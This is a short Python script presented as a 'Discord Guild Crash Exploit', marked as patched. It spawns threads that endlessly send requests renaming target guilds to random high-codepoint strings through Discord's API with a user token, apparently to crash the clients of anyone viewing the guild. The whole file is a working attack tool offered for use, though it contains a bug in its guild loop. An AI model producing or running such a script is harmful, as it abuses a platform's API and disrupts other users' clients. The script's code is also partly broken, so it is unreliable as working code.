# Discord Guild Crash Exploit [patched]
# Author: checksum

import requests
import re
import random
import string
import threading
import time

# configuration
TOKEN   = 'YOUR TOKEN'

# list of target guilds (you must either be owner or administrator of the guilds)
GUILDS  = ['YOUR GUILDS IDS']

# amount of threads to run on
THREADS = 5

def randascii(length):
    return ''.join(chr(random.randrange(13000)) for _ in range(length))

def crash(guild):
    while True:
        try:
            requests.patch(f'https://canary.discordapp.com/api/v6/guilds/{guild}', headers={'Authorization': TOKEN}, json={'name': randascii(100)})
        except:
            pass

def main():
    print('\tDiscord Guild Crasher')
    print('\tby checksum (@0xFADE)\n')

    print('Crashing...')

    for guild in range(GUILDS):
        for _ in range(THREADS):
            threading.Thread(target=crash, args=[guild], daemon=True).start()

    while True:
        time.sleep(1)

if __name__ == '__main__':
    main()
